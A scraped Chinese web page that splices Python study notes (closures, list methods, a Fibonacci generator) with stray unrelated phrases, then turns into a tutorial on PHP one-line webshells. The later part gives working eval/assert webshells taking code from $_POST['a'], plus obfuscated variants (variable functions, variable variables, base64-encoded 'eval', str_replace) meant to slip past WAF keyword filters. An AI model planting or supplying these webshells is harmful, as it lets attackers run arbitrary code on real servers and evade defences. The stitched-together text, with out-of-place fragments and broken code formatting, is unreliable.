if __name__ == "__main__":print("dddd")
作用;1.減少代碼的重用;2.提高代碼的可讀性;3.規范編程模式。
鴨子類型:不是通過具體的繼承關系來約束某些類必須必須要有哪些方法名,是通過一種約定俗成的概念來保證多個類中相似的功能叫相同的名字
封裝原則:1.將不需要對外提供的內容都隱藏起來;2.把屬性都隱藏,提供公共方法對其訪問。封裝的好處:1.提高代碼的復用性;2.提高安全性;3.降低代碼的冗余度
閉包 = 函數+環境變量(函數定義時候)
注意:環境變量一定要在定義函數的外部,而且不能是全局變量
閉包=函數+自由變量的引用。
那么什么是自由變量(free variables)?
在一個函數中,如果某個變量既不是在函數內部創建的也不屬于函數的形參,并且它也不是全局變量(global variables),那么這個變量對該函數來說就是自由變量
例如;
php執行python腳本、
如果一定要引用循環變量怎么辦?方法是再創建一個函數,用該函數的參數綁定循環變量當前的值 無論該循環變量后續如何更改,已綁定到函數參數的值不變:
例如;按我猜想的結果應該時1,4,9可這里輸出全部卻都是9。
php和python交互?原因;返回的函數引用了變量i,但它并沒有立刻執行;等到3個函數都返回時,它們所引用的變量i已經變成了3,所以輸出結果為9.
列表的常見方法;dir(ls)
在列表尾部增加一個元素 ;ls.append(6) ls=[1,2,3,4,5,6]
在列表中特定位置中添加元素;s.insert(4,"cui") ls=[1,2,3,4,cui,5,6]
清除列表清除前;ls = [1,23,4] ls.clear() 清除后;ls=[]
統計列表中某一元素出現的個數; s =[1,2,3,4,2,2,1] ls.count(2)=3
查找元素首次出現所在的索引(位置);ls = [1,2,3,4,5,5] ls.index(5)=4
默認刪除最后一個元素;ls = [12,23,45,5] 、 ls.pop() 、 ls=[12,23,45];還可以刪除指定位置元素;ls = [12,23,45,5] 、 ls.pop(1) 、ls = [12,45,5]
移除列表中首次出現的對應元素;ls = [3,3,4,5] 、ls.remove(3) 、ls = [3,4,5]
倒敘輸出列表;ls=[1,2,3] ls.reverse() ls=[3,2,1]
ls=[2,3,4] c=ls.copy() c=[2,3,4]
ls1=[1,2] ls2=[3,4]、ls1.extend(ls2) 、ls1=[1,2,3,4]
默認從小到大;ls=[1,3,-3,5,-4] 、ls.sort() ls=[-4,-3,1,3,5] 若要從大到小;ls=[1,3,-3,5,-4]、ls.sort(reverse=True)、ls=[5,3,1,-3,-4] 若元素是字符串類型則按ASCll表排序;ls=["a","ab","zb","aa","c"] 、ls.sort() 、ls=["a","aa","ab","c","zb"]
ls=[[1,2,3,4],[12,3,445,54],[25,67,3,1,7]]
ls[0] 輸出 [1,2,3,4] ls[2] 輸出 [25,67,3,1,7]
ls[0][2] 輸出 3 ls[1][0] 輸出 12
例子:
1、使用for循環取出i;1,2,3,4; 進行i*i;1,4,9,16;
2、列出同級所有文件
3、偶數加一個“-”,奇數正常輸出。
**著名的斐波拉契數列**1,1,2,3,5,8,13,21,34def fib(max):n, a, b = 0, 0, 1while n < max:a, b = b, a + bn += 1print(a)return 'done'f = fib(5)print(f)
輸出結果;1,1,2,3,5。
仔細觀察,可以看出,fib函數實際上是定義了斐波拉契數列的推算
規則,可以從第一個元素開始,推算出后續任意的元素,這種邏輯
其實非常類似generator。上面的函數和generator僅一步之遙。要
把fib函數變成generator函數,只需要把print(a)改為yield a就可以了;def fib(max):a, b = 0, 1for i in range(max):a, b = b, a+byield areturn 'done'f = fib(5)print(next(f))print(next(f))print(next(f))print(next(f))print(next(f))print(next(f))
這樣的話會抱一個錯誤,我們可以通過捕獲異常解決
php編譯環境、
構造一句話木馬函數;
1、eval函數
其中eval就是執行命令的函數,**$_POST[‘a’]**就是接收的數據。eval函數把通過POST方式接收的數據當作PHP代碼來執行。這樣我們就能夠讓插入了一句話木馬的網站執行我們傳遞過去的任意PHP語句。這便是一句話木馬的強大之處。
php一句話webshell?因為木馬是接收post請求中 “a” 的數據( $_POST[‘a’]),所以我們必須以post方法發送數據并且將我們要執行的代碼賦值給“a”。如果把木馬中的post替換成get,那么我么就需要以GET方法發送“a”,
2、assert函數
3、eval函數與assert函數的區別;
a、eval是一個語言構造器而不是一個函數,不能被可變函數調用。 而PHP 支持可變函數的概念,這意味著如果一個變量名后有圓括號,PHP
將尋找與變量的值同名的函數,并且嘗試執行它。可變函數可以用來實現包括回調函數,函數表在內的一些用途。 可變函數不能用于例如
echo,print,unset(),isset(),empty(),include,require
以及類似的語言結構。需要使用自己的包裝函數來將這些結構用作可變函數。
b、assert在php中是一個函數,assert函數中參數為表達式(或者為函數),eval函數中參數是字符。eval其實并不能算是‘函數’,而是PHP自身的語言結構,在需要用‘可變’的方式調用時,需要自己構造,類似這樣子的:
<?phpfunction eval_123($str){eval($str);}$a='eval_123';$a('phpinfo()');?>
目前大多數服務器都會使用一些安全設備來進行保護,這些設備會以關鍵字判斷是否為一句話木馬,我們便很難直接用一句話木馬。所以我們就衍生出了有很多種一句話木馬的變形,這樣waf便不可能全部攔截。
1、PHP變量函數;
通過使用變量函數$a,而變量儲存了函數名eval,便可以直接用變量替代函數名。
代碼如下;
<?php
$a = "eval";
$a(@$_POST['a']);
?>
2、PHP可變變量;
代碼如下;
<?php
$bb="eval";
$aa="bb";
$$aa($_POST['a']);
?>
上述語句可以理解為;$$aa=$($aa)=$bb=“eval”
3、base64_decode函數;
將eval進行base64加密后是——ZXZhbA==、
這里使用了base64_decode對ZXZhbA==解密為eval拼接到($_POST[‘a’])從而達到欺騙瀏覽器的目的。
代碼如下;
<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>
4、str_replace函數;
函數功能:在第三個參數中,查找第一個參數,并替換成第二個參數。這里第二個參數為空字符串,就相當于刪除"cyk"。
代碼如下;
<?php
$a=str_replace("cyk", "", "evcykal");
$a(@$_POST['a']);
?>
版权声明:本站所有资料均为网友推荐收集整理而来,仅供学习和研究交流使用。
工作时间:8:00-18:00
客服电话
电子邮件
admin@qq.com
扫码二维码
获取最新动态